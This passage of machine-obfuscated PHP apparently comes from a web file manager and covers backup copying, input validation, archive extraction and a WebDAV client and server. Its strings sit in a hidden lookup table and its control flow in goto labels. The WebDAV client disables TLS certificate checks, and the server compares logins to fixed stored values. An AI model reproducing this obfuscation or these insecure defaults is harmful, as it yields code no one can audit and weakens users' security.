TaskFileTransfer($a[726], $a[709], 0, LNG($a[710]) . $a[408] . LNG($a[712]) . $a[727]); $E乷ƈ->addPath($eߒǎ); $f = IO::infoWithChildren($eߒǎ); goto AިШ; fʮ: } } class BackupFile { public function __construct() { } public function index() { goto fɴб; C٠: Backup::set($fۘٷ); $this->_fileFilter($Eʐ); return !0; goto f; eÞ􅠐: $Cե = 1000; $DᦼՆ = $aލµ = 0; $Eʐ = array(); goto e; C۸: $B昹->task[$_SERVER[ֹ][695]] = $Cœ; $fۘٷ = array($_SERVER[ֹ][735] => $C瘐, $_SERVER[ֹ][736] => $Cœ); Backup::set($fۘٷ); goto f܇ύ; Dŵ: $C瘐 = (int) Model($_SERVER[ֹ][716])->where($Eɂ)->count($_SERVER[ֹ][415]); $Cœ = (int) Model($_SERVER[ֹ][716])->where($Eɂ)->sum($_SERVER[ֹ][77]); $B昹 = new TaskFileTransfer($_SERVER[ֹ][733], $_SERVER[ֹ][709], $C瘐, LNG($_SERVER[ֹ][710]) . $_SERVER[ֹ][711] . LNG($_SERVER[ֹ][734])); goto C۸; Bغ흊: $c閐Ԝ = $e ? 1 : 0; $fۘٷ = array($_SERVER[ֹ][747] => 1, $_SERVER[ֹ][700] => time(), $_SERVER[ֹ][706] => $c閐Ԝ, $_SERVER[ֹ][744] => $e٥, $_SERVER[ֹ][736] => $Cœ, $_SERVER[ֹ][735] => $C瘐); if ($aލµ) { $fۘٷ[$_SERVER[ֹ][745]] = $F뿝; $fۘٷ[$_SERVER[ֹ][746]] = $DŽ; } goto C٠; e: $DŽ = $F뿝 = 0; do { $A = $_SERVER[ֹ][737]; $Aָ = Model($_SERVER[ֹ][716])->where($Eɂ)->field($A)->order($_SERVER[ֹ][738])->selectPage($Cե, $eɄָ); $c߸뒵 = !empty($Aָ[$_SERVER[ֹ][350]]) ? $Aָ[$_SERVER[ֹ][350]] : array(); foreach ($c߸뒵 as $dӖ) { goto AΧæ; Fι: if (IO::exist($AƉ)) { $B昹->updateFileEnd($dӖ[$_SERVER[ֹ][28]], $dӖ[$_SERVER[ֹ][77]]); } else { $AƉ = get_path_father($AƉ); IO::mkdir($AƉ); if (!IO::copy($B, $AƉ, $_SERVER[ֹ][741])) { write_log($_SERVER[ֹ][742] . $B . $_SERVER[ֹ][743] . $AƉ . $_SERVER[ֹ][472], $_SERVER[ֹ][709]); $e = !1; break; } } $e٥ = $dӖ[$_SERVER[ֹ][415]]; $aލµ += 1; goto b碂; b碂: $DᦼՆ += $dӖ[$_SERVER[ֹ][77]]; $F뿝 += 1; $DŽ += $dӖ[$_SERVER[ֹ][77]]; goto Bڈ; AΧæ: if (!$this->_fileExist($dӖ, $Eʐ, $E˒)) { $C瘐 -= 1; $Cœ -= (int) $dӖ[$_SERVER[ֹ][77]]; write_log("\146\151\154\x65\40\x6e\157\x74\x20\145\x78\151\x73\164\56\x66\x69\x6c\x65\x49\x44\72{$dӖ[$_SERVER[ֹ][415]]}\54\40\160\141\164\x68\72{$dӖ[$_SERVER[ֹ][75]]}", $_SERVER[ֹ][739]); continue; } $B = $dӖ[$_SERVER[ֹ][75]]; $AƉ = "\x7b\x69\157\72{$fڠ[$_SERVER[ֹ][688]]}\x7d" . substr($B, strlen("\x7b\151\157\x3a{$dӖ[$_SERVER[ֹ][740]]}\x7d")); goto Fι; Bڈ: if ($DᦼՆ >= 1024 * 1024 * 100) { $fۘٷ = array($_SERVER[ֹ][744] => $e٥, $_SERVER[ֹ][745] => $F뿝, $_SERVER[ֹ][746] => $DŽ); Backup::set($fۘٷ); $DᦼՆ = $aލµ = 0; } goto a΅; a΅: } $c蠆 = count($c߸뒵); $eɄָ++; } while ($c蠆 == $Cե); $B昹->end(); goto Bغ흊; f܇ύ: $e = !0; $E˒ = $this->storeIds(); $eɄָ = 1; goto eÞ􅠐; fɴб: $fڠ = Backup::get(); $e٥ = $fڠ[$_SERVER[ֹ][277]][$_SERVER[ֹ][163]][$_SERVER[ֹ][415]]; $Eɂ = array($_SERVER[ֹ][416] => array($_SERVER[ֹ][731], $e٥), $_SERVER[ֹ][732] => array($_SERVER[ֹ][315], $fڠ[$_SERVER[ֹ][688]])); goto Dŵ; f: } private function _fileExist($C㶉, &$f, $B) { goto EΏϒ; dԺ: $f = array_merge($f, array_to_keyvalue($Cׯ򆈏, $Fȑ[33], $Fȑ[415])); return !1; goto Bձ߇; EΏϒ: $Fȑ =& $_SERVER[ֹ]; $Aپ = $C㶉[$Fȑ[75]]; if (in_array($C㶉[$Fȑ[415]], $f)) { return !1; } goto a猍; Cם͆: if (IO::exist($C)) { $f[] = $C㶉[$Fȑ[415]]; return !1; } $B = array($Fȑ[740] => $C㶉[$Fȑ[740]], $Fȑ[75] => array($Fȑ[748], "{$C}\45")); $Cׯ򆈏 = Model($Fȑ[716])->where($B)->field($Fȑ[416])->select(); goto dԺ; a猍: if (!in_array($C㶉[$Fȑ[740]], $B)) { return !1; } if (IO::exist($Aپ)) { return !0; } $C = get_path_father($Aپ); goto Cם͆; Bձ߇: } private function _fileFilter($eɅ٩) { $eΉ =& $_SERVER[ֹ]; if (empty($eɅ٩)) { return; } $cƗ = array($eΉ[415] => array($eΉ[7], array_unique($eɅ٩))); $fк٭ = Model($eΉ[749])->where($cƗ)->field($eΉ[365])->select(); foreach ($fк٭ as $B܆) { Model($eΉ[749])->remove($B܆[$eΉ[365]], !1); } } private function storeIds() { $dㅜ =& $_SERVER[ֹ]; $F³ = Model($dㅜ[701])->listData(); return array_to_keyvalue($F³, $dㅜ[33], $dㅜ[363]); } } goto DÖߦ; A: if (!function_exists($_SERVER[ֹ][1851])) { function imagecreatefrombmp($b) { return ImageGdBMP::load($b); } } class Input { public static function getArray($cا) { goto dΐ; Dۈ: if (count($Dϡ) > 0) { show_json(implode($eōǖ[1856], $Dϡ), !1); } return $D绔; goto cߢ; B: $Dϡ = array(); $E⎊ = LNG($eōǖ[1852]); foreach ($cا as $d => $F) { goto cٟ; Fξ: if (!array_key_exists($d, $in)) { if (array_key_exists($eōǖ[1854], $F)) { if (!is_null($F[$eōǖ[1854]])) { $D绔[$Eߺ] = $F[$eōǖ[1854]]; } } else { if (isset($F[$eōǖ[1855]])) { $Dϡ[] = $bԞ; } } continue; } if (isset($F[$eōǖ[1855]]) && $F[$eōǖ[1855]] == $eōǖ[278]) { $a = json_decode($in[$d], !0); if (is_array($a)) { $D绔[$Eߺ] = $a; } else { if (array_key_exists($eōǖ[1854], $F)) { if (!is_null($F[$eōǖ[1854]])) { $D绔[$Eߺ] = $F[$eōǖ[1854]]; } } else { $Dϡ[] = $bԞ; } } continue; } $D٩ = _get($F, $eōǖ[1005]); goto F; F: if (isset($F[$eōǖ[1855]]) && !self::check($in[$d], $F[$eōǖ[1855]], $D٩)) { if (array_key_exists($eōǖ[1854], $F)) { if (!is_null($F[$eōǖ[1854]])) { $D绔[$Eߺ] = $F[$eōǖ[1854]]; } } else { $Dϡ[] = $bԞ; } continue; } $D绔[$Eߺ] = $in[$d]; goto Bٰ; cٟ: $bԞ = _get($F, $eōǖ[1232], $E⎊ . $eōǖ[876] . $d); $Eߺ = $d; if (isset($F[$eōǖ[1853]]) && $F[$eōǖ[1853]]) { $Eߺ = $F[$eōǖ[1853]]; } goto Fξ; Bٰ: } goto Dۈ; dΐ: $eōǖ =& $_SERVER[ֹ]; global $in; $D绔 = array(); goto B; cߢ: } public static function reg($D = "\162\145\x71\x75\151\x72\145") { static $Cɲ = array("\x72\x65\x71\165\x69\x72\x65" => "\56\x2b", "\x6e\165\x6d\142\145\x72" => "\134\x64\53", "\150\145\170" => "\133\60\x2d\71\x41\x2d\106\141\x2d\x66\x5d\x2b", "\x69\156\164" => "\x5b\x2d\134\53\x5d\77\134\144\53", "\x62\x6f\157\154" => "\60\174\x31", "\x66\x6c\157\141\164" => "\133\x2d\134\x2b\x5d\77\x5c\144\53\x28\x5c\x2e\x5c\x64\53\x29\77", "\x65\x6e\147\x6c\151\163\150" => "\x5b\x41\55\x5a\141\x2d\172\40\x5d\x2b", "\143\150\x69\156\x65\x73\x65" => "\x5b\134\170\x7b\x34\x65\60\60\175\x2d\x5c\x78\x7b\x39\x66\141\65\175\135\x2b", "\150\x61\163\x43\150\x69\156\x65\x73\145" => "\x2f\x28\133\x5c\170\173\64\145\x30\60\x7d\x2d\x5c\x78\x7b\71\146\141\x35\175\x5d\x2b\51\x2f\x75", "\145\x6d\x61\x69\x6c" => "\134\167\53\x28\x5b\134\56\134\55\135\134\x77\x2b\51\x2a\134\x40\134\x77\53\x28\x5b\x5c\56\x5c\x2d\135\x5c\167\x2b\51\52\x5c\x2e\134\167\x2b", "\160\x68\157\x6e\145" => "\61\x5b\x33\55\x39\x5d\134\x64\x7b\71\x7d", "\x74\x65\x6c\160\x68\x6f\x6e\x65" => "\50\134\50\134\x64\173\x33\54\64\x7d\x5c\51\174\134\144\173\63\54\64\x7d\55\x7c\x5c\x73\x29\x3f\x5c\x64\173\x37\x2c\x31\64\x7d", "\x75\162\x6c" => "\50\x68\164\x74\x70\174\146\164\160\x7c\x68\164\164\x70\x73\51\x3a\134\x2f\x5c\57\x5b\x5c\x77\x5c\55\x5f\135\x2b\50\x5c\x2e\133\134\167\134\55\x5f\135\53\51\x2b\x28\x5b\x5c\x77\134\55\x5c\56\x2c\100\77\136\x3d\x25\46\x3a\134\57\176\134\x2b\43\135\x2a\x5b\134\167\134\x2d\134\100\77\136\75\45\x26\134\57\x7e\x5c\53\x23\135\51\x3f", "\x75\x72\154\106\x75\154\154" => "\133\141\x2d\x7a\101\x2d\172\135\53\72\x5c\57\134\57\x5b\x5e\134\x73\135\x2a", "\151\160" => "\x28\x5c\x64\173\x31\x2c\63\x7d\x5c\x2e\51\173\x33\175\x28\x5c\x64\173\x31\x2c\x33\175\51", "\x7a\151\160" => "\133\61\55\x39\x5d\134\x64\x7b\x35\175\x28\x3f\x21\134\144\x29", "\151\144\103\x61\162\144" => "\50\x5c\x64\173\61\x35\x7d\x29\174\x28\134\144\x7b\x31\67\x7d\50\x5c\144\174\x58\174\x78\51\51", "\x63\x6f\154\157\162" => "\43\50\x5b\60\x2d\71\101\x2d\x46\x61\55\x66\x5d\x7b\63\x7d\x7c\133\x30\x2d\71\x41\x2d\106\x61\55\x66\135\173\66\175\x29", "\164\x69\x6d\x65" => "\50\x5b\60\55\61\x5d\134\x64\174\62\133\60\55\x34\x5d\x29\x3a\133\x30\x2d\65\135\134\x64", "\x64\141\x74\145" => "\134\144\x7b\64\x7d\x5b\55\x5c\x2f\135\77\x28\60\133\61\x2d\71\135\174\61\x5b\x30\55\62\x5d\x29\133\55\x5c\57\135\77\x28\x5b\60\x2d\x32\x5d\x5c\144\x7c\x33\x5b\60\55\61\135\51", "\x64\x61\164\145\x54\x69\155\x65" => "\x5c\144\x7b\64\x7d\133\x2d\x5c\x2f\x5d\x3f\x28\x30\133\x31\55\x39\135\x7c\61\133\60\x2d\62\x5d\51\x5b\x2d\x5c\57\x5d\77\50\x5b\60\x2d\62\135\134\x64\174\x33\x5b\x30\x2d\x31\135\x29\x5c\x73\x2b\50\x5b\60\x2d\x31\x5d\x5c\144\174\x32\133\x30\55\64\135\x29\72\133\60\55\x35\x5d\134\144", "\x70\x61\163\x73\167\x6f\x72\144" => "\x28\77\x3d\x2e\x2a\x5c\x64\51\x28\x3f\75\x2e\52\133\x61\55\172\x5d\x29\50\77\75\56\52\133\101\55\x5a\x5d\x29\x2e\x7b\70\x2c\62\x30\x7d", "\x6b\145\171" => "\133\101\55\x5a\x61\55\172\x30\x2d\71\137\134\55\134\x2e\x5d\x2b", "\153\145\x79\106\165\x6c\154" => "\x5b\x41\55\x5a\141\55\x7a\60\55\x39\x5f\134\x2d\x5c\56\134\163\54\135\x2b"); if (!$D) { return $Cɲ; } return $Cɲ[$D]; } public static function check($Aˍ̈, $F, $D = null) { $a =& $_SERVER[ֹ]; switch ($F) { case $a[7]: return in_array($Aˍ̈, $D); break; case $a[1857]: return floatval($Aˍ̈) > $D; break; case $a[1858]: return floatval($Aˍ̈) < $D; break; case $a[321]: return strlen($Aˍ̈) >= $D[0] && strlen($Aˍ̈) <= $D[1]; break; case $a[321]: if (is_array($D)) { return strlen($Aˍ̈) >= $D[0] && strlen($Aˍ̈) <= $D[1]; break; } else { return strlen($Aˍ̈) == $D; break; } case $a[317]: return floatval($Aˍ̈) >= $D[0] && floatval($Aˍ̈) <= $D[1]; break; } $a = self::reg(!1); $F = isset($a[$F]) ? $a[$F] : $F; if (substr($F, 0, 1) != $a[8]) { $F = $a[1859] . $F . $a[1860]; } return preg_match($F, $Aˍ̈) === 1; } public static function get($c؊ք, $bޘ = null, $a = null, $d = null) { goto Bܒ; Bܒ: $B̋ =& $_SERVER[ֹ]; $a = array(); if (!is_null($a)) { $a[$B̋[34]] = $a; } goto b; e䛞Π: return $a[$c؊ք]; goto C빳; b: if (!is_null($d)) { $a[$B̋[1005]] = $d; } if (!is_null($bޘ)) { $a[$B̋[1855]] = $bޘ; } $a = Input::getArray(array($c؊ք => $a)); goto e䛞Π; C빳: } } class KodArchive { static function init() { goto dڬ; d悑: define($BÑإ[1863], TEMP_FILES); define($BÑإ[1864], TEMP_FILES); define($BÑإ[1865], $BÑإ[1866]); goto fױ; fױ: mk_dir(TEMP_FILES); require_once ARCHIVE_LIB . $BÑإ[1867]; require_once ARCHIVE_LIB . $BÑإ[1868]; goto dʼnܰ; dʼnܰ: require_once ARCHIVE_LIB . $BÑإ[1869]; require_once ARCHIVE_LIB . $BÑإ[1870]; require_once ARCHIVE_LIB . $BÑإ[1871]; goto aϦ; dڬ: $BÑإ =& $_SERVER[ֹ]; if (defined($BÑإ[1861])) { return; } define($BÑإ[1861], SDK_DIR . $BÑإ[1862]); goto d悑; aϦ: require_once ARCHIVE_LIB . $BÑإ[1872]; goto c๎Ͳ; c๎Ͳ: } static function checkIfType($b, $B) { goto EҠ; fꫜ: $e蚯ȃ = in_array($b, $a奫[$B]); if ($e蚯ȃ && ($B == $A˾[297] || $B == $A˾[1876]) && (!function_exists($A˾[1884]) || !function_exists($A˾[1885]))) { show_tips($A˾[1886]); } if ($e蚯ȃ && $B == $A˾[1039] && (!function_exists($A˾[1887]) || !strstr(shell_exec($A˾[1888]), $A˾[1889]))) { show_tips($A˾[1890]); } goto C鸶; EҠ: $A˾ =& $_SERVER[ֹ]; self::init(); $a奫 = array($A˾[297] => array($A˾[297], $A˾[1873], $A˾[1874], $A˾[1875]), $A˾[1876] => array($A˾[1876], $A˾[1877], $A˾[1037], $A˾[1035]), $A˾[1039] => array($A˾[1039], $A˾[1878], $A˾[1879], $A˾[1880], $A˾[1881], $A˾[1882], $A˾[1883])); goto fꫜ; C鸶: return $e蚯ȃ; goto e󂲡; e󂲡: } static function listContent($B, $D㎻ = true) { $f˝ =& $_SERVER[ֹ]; self::init(); $Fڜ = !empty($GLOBALS[$f˝[1043]]) ? $GLOBALS[$f˝[1043]] : get_path_ext($B); $Dڻ׌߾ = !1; if (self::checkIfType($Fڜ, $f˝[1876])) { $Dڪ = PclTarList($B, $Fڜ); $Dڻ׌߾ = array(); for ($d = 0; $d < count($Dڪ); $d++) { $d̩ = $Dڪ[$d]; if ($d̩[$f˝[1891]] == $f˝[1892] || $d̩[$f˝[1891]] == $f˝[1893]) { continue; } if ($D㎻) { $d̩[$f˝[1894]] = ltrim($d̩[$f˝[1894]], $f˝[1141]); } if ($d̩[$f˝[1891]] == $f˝[1895]) { $d̩[$f˝[76]] = !0; } else { $d̩[$f˝[76]] = !1; } $d̩[$f˝[1030]] = $d; $Dڻ׌߾[] = $d̩; } } else { if (self::checkIfType($Fڜ, $f˝[1039])) { $f碗Đ = kodRarArchive::listContent($B); if (!$f碗Đ[$f˝[1026]]) { return $f碗Đ; } else { $Dڻ׌߾ = $f碗Đ[$f˝[1028]]; } } else { if (kodZipArchive::support($f˝[350])) { $Dڻ׌߾ = kodZipArchive::listContent($B); } else { $f = new PclZip($B); $Dڻ׌߾ = $f->listContent(); } } } if ($Dڻ׌߾) { $A = unzip_charset_get($Dڻ׌߾); $D㎻ = $D㎻ && function_exists($f˝[65]); for ($d = 0; $d < count($Dڻ׌߾); $d++) { $Dڻ׌߾[$d][$f˝[1894]] = str_replace(array($f˝[1066], $f˝[1896]), $f˝[759], $Dڻ׌߾[$d][$f˝[1894]]); if ($D㎻) { $Dڻ׌߾[$d][$f˝[1894]] = iconv_to($Dڻ׌߾[$d][$f˝[1894]], $A, $f˝[322]); unset($Dڻ׌߾[$d][$f˝[1897]]); } } return array($f˝[1026] => !0, $f˝[1028] => $Dڻ׌߾); } else { return array($f˝[1026] => !1, $f˝[1028] => $Dڻ׌߾); } } static function extract($A–, $dͧ, $EґŠ = "\55\x31", &$Cкܹ = false) { goto a愯; d: if (self::checkIfType($e, $Fʞ[1876])) { if ($EґŠ != $Fʞ[1025]) { $AѺ = unzip_pre_name($AѺ); $d = unzip_pre_name($d); $Fݪ = PclTarExtractList($A–, array($AѺ), $dͧ, $d, $e); } else { $Fݪ = PclTarExtract($A–, $dͧ, $Fʞ[357], $e); } return array($Fʞ[1026] => $Fݪ, $Fʞ[1028] => PclErrorString(!0)); } else { if (self::checkIfType($e, $Fʞ[1039])) { return kodRarArchive::extract($A–, $dͧ, $e, $Cкܹ); } else { if (kodZipArchive::support($Fʞ[1898])) { return kodZipArchive::extract($A–, $dͧ, $Cкܹ); } else { $f֫ی = new PclZip($A–); if ($EґŠ != $Fʞ[1025]) { $Fݪ = $f֫ی->extract(PCLZIP_OPT_PATH, $dͧ, PCLZIP_OPT_SET_CHMOD, DEFAULT_PERRMISSIONS, PCLZIP_CB_PRE_FILE_NAME, $Fʞ[1899], PCLZIP_OPT_BY_NAME, $cچվ[$Fʞ[1894]], PCLZIP_OPT_REMOVE_PATH, $d, PCLZIP_OPT_REPLACE_NEWER); } else { $Fݪ = $f֫ی->extract(PCLZIP_OPT_PATH, $dͧ, PCLZIP_OPT_SET_CHMOD, DEFAULT_PERRMISSIONS, PCLZIP_CB_PRE_FILE_NAME, $Fʞ[1899], PCLZIP_OPT_REPLACE_NEWER); } return array($Fʞ[1026] => $Fݪ, $Fʞ[1028] => $f֫ی->errorName(!0)); } } } return array($Fʞ[1026] => !1, $Fʞ[1028] => $Fʞ[1900]); goto A; a愯: $Fʞ =& $_SERVER[ֹ]; self::init(); $e = !empty($GLOBALS[$Fʞ[1043]]) ? $GLOBALS[$Fʞ[1043]] : get_path_ext($A–); goto e; e: $D = self::listContent($A–, !1); if (!$D[$Fʞ[1026]]) { return $D; } if ($EґŠ != $Fʞ[1025]) { goto f곿; f곿: $cچվ = self::fileIndex($D[$Fʞ[1028]], $EґŠ); $Cкܹ = str_replace(array($Fʞ[1066], $Fʞ[1896]), $Fʞ[70], $cچվ[$Fʞ[1894]]); $AѺ = $Cкܹ; goto bʊ˸; bʊ˸: if ($GLOBALS[$Fʞ[6]][$Fʞ[1139]] != $Fʞ[322]) { $AѺ = unzip_pre_name($Cкܹ); } $d = get_path_father($Cкܹ); if ($d == $Cкܹ) { $d = $Fʞ[33]; } goto BЏɚ; BЏɚ: if ($cچվ[$Fʞ[76]]) { $AѺ = rtrim($AѺ, $Fʞ[8]) . $Fʞ[8]; $Cкܹ = array($Cкܹ); } $b߯ = str_replace($Fʞ[93], $Fʞ[8], $AѺ); if (substr($b߯, -1) == $Fʞ[8]) { if (!strstr(trim($b߯, $Fʞ[8]), $Fʞ[8])) { $dͧ = $dͧ . get_path_this($b߯) . $Fʞ[8]; } } else { if ($d == $AѺ) { $d = $Fʞ[33]; } } goto EމǔԜ; EމǔԜ: } goto d; A: } static function fileIndex($b, $Bȯ, $fø = false) { goto cз녾; C: $B = $eâ; if ($fø) { $B = $eâ[$fø]; if ($eâ[$e˒[76]]) { $B = rtrim($B, $e˒[8]) . $e˒[8]; } } return $B; goto D۬; Dם: $bɊЂ = count($b); for ($d = 0; $d < $bɊЂ; $d++) { if ($Bȯ == $b[$d][$e˒[1030]]) { $eâ = $b[$d]; break; } } if (!$eâ) { show_tips($e˒[1901]); } goto C; cз녾: $e˒ =& $_SERVER[ֹ]; self::init(); if (!is_array($b)) { return !1; } goto Dם; D۬: } static function extractZipFile($EШ, $Bᳪ, $eޘ = false) { goto Aޅő; Cșϻ: $B = get_path_father($Bᳪ); if ($B == $Bᳪ) { $B = $dۥ[33]; } $A֯ = $C->extract(PCLZIP_OPT_PATH, $d, PCLZIP_CB_PRE_FILE_NAME, $dۥ[1899], PCLZIP_OPT_REMOVE_PATH, $B, PCLZIP_OPT_BY_NAME, $Bᳪ); goto BŶ; f刚: mk_dir($d); $aѻ = $d . md5($EШ . $Bᳪ); if ($eޘ) { $aѻ = $d . $eޘ; } goto dѤ; dѤ: if (file_exists($aѻ)) { return $aѻ; } $C = new PclZip($EШ); $e䛬 = unzip_filter_ext($d . get_path_this($Bᳪ)); goto Cșϻ; Aޅő: $dۥ =& $_SERVER[ֹ]; self::init(); $d = TEMP_FILES . hash_path($EШ) . $dۥ[8]; goto f刚; BŶ: if (!file_exists($e䛬)) { return !1; } @rename($e䛬, $aѻ); return $aѻ; goto Bª; Bª: } static function filePreview($D‘, $Dˇ, $cϏ = false, $A梌¬ = false) { goto CƧՃ; Eփ: mk_dir($c͍); $aۉ = $c͍ . md5($D‘ . $Dˇ . $A梌¬); $dȩ = $dǿӐ[33]; goto d̔; f: if (!file_exists($aۉ)) { del_dir($c͍); show_json($dǿӐ[1904]); } IO::fileOut($aۉ, $cϏ, $aʌ); goto Aū; bԣ: $dȩ = unzip_pre_name($dȩ); $aʌ = get_path_this($dȩ); $dѯ = unzip_filter_ext($c͍ . $aʌ); goto E٩; CƧՃ: $dǿӐ =& $_SERVER[ֹ]; self::init(); $c͍ = TEMP_FILES . hash_path($D‘) . $dǿӐ[8]; goto Eփ; E٩: if (!$bΌވ[$dǿӐ[1026]]) { show_json($bΌވ[$dǿӐ[1028]], !1); } if (!file_exists($dѯ)) { show_json($dǿӐ[1903], !1); } @rename($dѯ, $aۉ); goto f; d̔: $bΌވ = self::extract($D‘, $c͍, $Dˇ, $dȩ); if (is_array($dȩ)) { show_json($dǿӐ[1902], !1); } if (file_exists($aۉ)) { IO::fileOut($aۉ, $cϏ, get_path_this($dȩ)); return; } goto bԣ; Aū: } static function create($E󃔖, $C) { $Aׅő =& $_SERVER[ֹ]; self::init(); $F = get_path_ext($E󃔖); $E̍ = !1; if (self::checkIfType($F, $Aׅő[297])) { if (kodZipArchive::support($Aׅő[1004])) { return kodZipArchive::create($E󃔖, $C); } $E댤 = new PclZip($E󃔖); foreach ($C as $Adž => $bް) { $bް = str_replace($Aׅő[463], $Aׅő[8], $bް); $Aē = Kodio::clear(get_path_father($bް)); if ($Adž == 0) { $E̍ = $E댤->create($bް, PCLZIP_OPT_REMOVE_PATH, $Aē, PCLZIP_CB_PRE_FILE_NAME, $Aׅő[1905]); continue; } $E̍ = $E댤->add($bް, PCLZIP_OPT_REMOVE_PATH, $Aē, PCLZIP_CB_PRE_FILE_NAME, $Aׅő[1905]); } } else { if (self::checkIfType($F, $Aׅő[1876])) { foreach ($C as $Adž => $bް) { $bް = str_replace($Aׅő[463], $Aׅő[8], $bް); $Aē = Kodio::clear(get_path_father($bް)); if ($Adž == 0) { $E̍ = PclTarCreate($E󃔖, array($bް), $F, null, $Aē); continue; } $E̍ = PclTarAddList($E󃔖, array($bް), $Aׅő[33], $Aē, $F); } } } return $E̍; } } goto f潝; aᄏ: class HttpDavClient { public function __construct($c؍뙣, $d, $bé) { $this->header = array(); $this->userName = $d; $this->userPassowrd = $bé; } protected function makePath($a) { return $a; } protected function setHeader($e, $Cʨ = false) { if ($Cʨ === !1) { $this->header[] = $e; } else { $this->header[] = $e . $_SERVER[ֹ][876] . $Cʨ; } } public function move($e, $fǒ, $EӔ = '') { $b =& $_SERVER[ֹ]; $this->setHeader($b[1744], $this->makePath($fǒ)); $this->setHeader($b[1745], $b[1746]); if ($EӔ) { $this->setHeader($b[1747], $b[921] . $EӔ . $b[924]); } return $this->send($b[1748], $e); } public function copy($bض, $FϋХ) { $f̧ =& $_SERVER[ֹ]; $this->setHeader($f̧[1744], $this->makePath($FϋХ)); $this->setHeader($f̧[1745], $f̧[1746]); return $this->send($f̧[1749], $bض); } public function mkcol($F׈) { $D =& $_SERVER[ֹ]; $this->setHeader($D[1745], $D[1746]); return $this->send($D[1750], $F׈); } public function delete($F߶, $F󪡆 = '') { $B =& $_SERVER[ֹ]; if ($F󪡆) { $this->setHeader($B[1747], $B[921] . $F󪡆 . $B[924]); } return $this->send($B[1237], $F߶); } public function propfind($a꾸) { $AҴ =& $_SERVER[ֹ]; $this->setHeader($AҴ[1751], $AҴ[83]); $this->setHeader($AҴ[1752], $AҴ[1753]); $a = $AҴ[1754]; return $this->send($AҴ[1755], $a꾸, $a); } public function options($aϰ) { return $this->send($_SERVER[ֹ][1756], $aϰ); } public function get($cڪ) { return $this->send($_SERVER[ֹ][212], $cڪ); } public function put($c߂, $a, $Eʛɑ = '') { $e =& $_SERVER[ֹ]; if ($Eʛɑ) { $this->setHeader($e[1747], $e[921] . $Eʛɑ . $e[924]); } return $this->send($e[210], $c߂, $a); } protected function send($b, $Eى, $A = false, $fꜙ = false) { goto d; b: $this->header = array(); return $e; goto A•; cޕꑫ: $this->setHeader($c˄ţŸ); if ($A) { $A = $b[1758] . $A; } if (!request_url_safe($Eى)) { return !1; } goto fߍę; d: $b =& $_SERVER[ֹ]; $c˄ţŸ = HttpAuth::make($this->userName, $this->userPassowrd); $this->setHeader($b[1757], $b[50]); goto cޕꑫ; fߍę: $c调 = curl_init($Eى); curl_setopt($c调, CURLOPT_CUSTOMREQUEST, $b); curl_setopt($c调, CURLOPT_HTTPAUTH, CURLAUTH_ANY); goto C; C: curl_setopt($c调, CURLOPT_HTTPHEADER, $this->header); curl_setopt($c调, CURLOPT_RETURNTRANSFER, !0); curl_setopt($c调, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); goto e̾Ř; e̾Ř: curl_setopt($c调, CURLOPT_SSL_VERIFYPEER, !1); curl_setopt($c调, CURLOPT_SSL_VERIFYHOST, !1); $e = curl_exec($c调); goto b; A•: } } class HttpDavServer { public function __construct($b錇, $AմDZ) { $this->root = $b錇; $this->initPath($AմDZ); $this->start(); } public function initPath($b܃) { $Bΐ =& $_SERVER[ֹ]; $c܃г = rtrim($_SERVER[$Bΐ[1366]], $Bΐ[8]) . $Bΐ[8]; $this->urlBase = substr($c܃г, 0, strpos($c܃г, $b܃) + 1); $this->urlBase = rtrim($this->urlBase, $Bΐ[8]) . $b܃; $this->path = $this->parsePath($this->pathGet()); } public function checkUser() { $c胘 =& $_SERVER[ֹ]; $EΝ = HttpAuth::get(); if ($EΝ[$c胘[531]] == $c胘[1759] && $EΝ[$c胘[893]] == $c胘[1760]) { return !0; } HttpAuth::error(); } public function start() { goto c̍ڳ; D: if (!$FՕ) { return; } self::response($FՕ); goto Bƈ; c̍ڳ: $f =& $_SERVER[ֹ]; $this->checkUser(); $b = $f[142] . HttpHeader::method(); goto aی; aی: if (!method_exists($this, $b)) { pr($b . $f[1761]); die; } $c = array($f[1762], $f[1763]); if (!in_array($b, $c) && !$this->pathExists($this->path)) { $FՕ = array($f[1026] => 404); } else { $FՕ = $this->{$b}(); } goto D; Bƈ: } public function pathGet($Dޏ̩ = false) { $d =& $_SERVER[ֹ]; $C = $Dޏ̩ ? $_SERVER[$d[1764]] : $_SERVER[$d[1366]]; $C = KodIO::clear(rawurldecode($C)); if (!strstr($C, KodIO::clear($this->urlBase))) { return !1; } return substr($C, strpos($C, $this->urlBase) + strlen($this->urlBase)); } public function pathExists($Aߵլ) { return file_exists($Aߵլ); } public function pathMkdir($bُ) { return mkdir($bُ, 511, !0); } public function pathInfo($fﭏ) { return path_info($fﭏ); } public function pathList($A) { return path_list($A); } public function pathOut($bܖ) { echo file_get_contents($bܖ); } public function pathPut($Aɩ, $B擧 = '') { if (!$B擧) { return file_put_contents($Aɩ, $_SERVER[ֹ][33]); } return move_path($B擧, $Aɩ); } public function pathRemove($eԬ) { if (is_file($eԬ)) { return @unlink($this->path); } else { return del_dir($this->path); } } public function pathMove($E, $Aۼ) { return move_path($E, $Aۼ); } public function pathCopy($Dߓ, $E) { return copy_dir($Dߓ, $E); } public function parsePath($BӬѯ) { return $BӬѯ; } public function parseItem($Eʅ, $Aś) { goto d׃; d׃: $Eޓ =& $_SERVER[ֹ]; $bةѥ = $this->pathGet() . $Eޓ[8] . $Eʅ[$Eޓ[28]]; $bةѥ = $Eޓ[8] . str_replace($Eޓ[168], $Eޓ[8], rawurlencode($bةѥ)); goto e; Dѐ: $DȞ = array($Eޓ[1765] => KodIO::clear($this->urlBase . $bةѥ), $Eޓ[106] => @gmdate($Eޓ[1766], $Eʅ[$Eޓ[106]]), $Eޓ[183] => @gmdate($Eޓ[1767], $Eʅ[$Eޓ[183]]), $Eޓ[77] => $Eʅ[$Eޓ[77]] ? $Eʅ[$Eޓ[77]] : 0); return $DȞ; goto Aӂ; e: if ($Aś) { $bةѥ = $Eޓ[8] . str_replace($Eޓ[168], $Eޓ[8], rawurlencode($this->pathGet())); } if (!trim($Eʅ[$Eޓ[106]])) { $Eʅ[$Eޓ[106]] = time(); } if (!trim($Eʅ[$Eޓ[183]])) { $Eʅ[$Eޓ[183]] = time(); } goto Dѐ; Aӂ: } public function parseItemXml($bɎǗ, $D) { $c =& $_SERVER[ֹ]; $f = $this->parseItem($bɎǗ, $D); if ($bɎǗ[$c[29]] == $c[76]) { $fÞ = $c[1768]; $fÞ .= $c[1769]; } else { $d = $bɎǗ[$c[156]] ? $bɎǗ[$c[156]] : 